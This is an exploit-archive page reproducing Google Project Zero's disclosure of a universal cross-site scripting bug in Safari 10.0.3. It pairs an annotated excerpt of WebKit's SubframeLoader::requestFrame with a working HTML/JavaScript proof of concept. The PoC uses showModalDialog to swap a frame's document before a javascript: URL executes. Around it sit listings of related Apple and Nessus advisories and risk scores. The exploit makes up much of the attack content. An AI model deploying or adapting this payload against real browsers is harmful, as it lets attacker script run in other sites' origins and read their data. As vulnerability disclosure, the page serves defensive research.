Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting Expl

🗓️ 12 Apr 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 116 Views

Apple WebKit / Safari 10.0.3 - Cross-Site Scripting Vulnerabilit

Reporter	Title	Published	Views	Family All 30
Tenable Nessus	iTunes < 12.6 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (credentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (uncredentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2480	10 Sep 202500:00	–	nessus
Apple	About the security content of iTunes 12.6 for Windows	21 Mar 201700:00	–	apple
Apple	About the security content of iCloud for Windows 6.2	28 Mar 201700:00	–	apple
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1	27 Mar 201700:00	–	apple
Apple	About the security content of tvOS 10.2	27 Mar 201700:00	–	apple

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1121
 
Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.
 
bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);
 
    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();
 
    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;
 
    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom
 
    return true;
}
 
A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.
 
Tested on Safari 10.0.3(12602.4.8).
 
PoC:
-->
 
<body>
<p>click anywhere</p>
<script>
 
window.onclick = () => {
    window.onclick = null;
 
    f = document.createElement('iframe');
    f.src = 'javascript:alert(location)';
    f.onload = () => {
        f.onload = null;
 
        let a = f.contentDocument.createElement('a');
        a.href = 'https://abc.xyz/';
        a.click();
 
        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
    try {
        opener[0].document.x;
    } catch (e) {
        clearInterval(it);
 
        window.close();
    }
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    };
 
    document.body.appendChild(f);
};
 
cached.src = kUrl;
 
</script>
</body>

#  0day.today [2018-04-14]  #

12 Apr 2017 00:00Current

7.7High risk

Vulners AI Score7.7

EPSS0.19072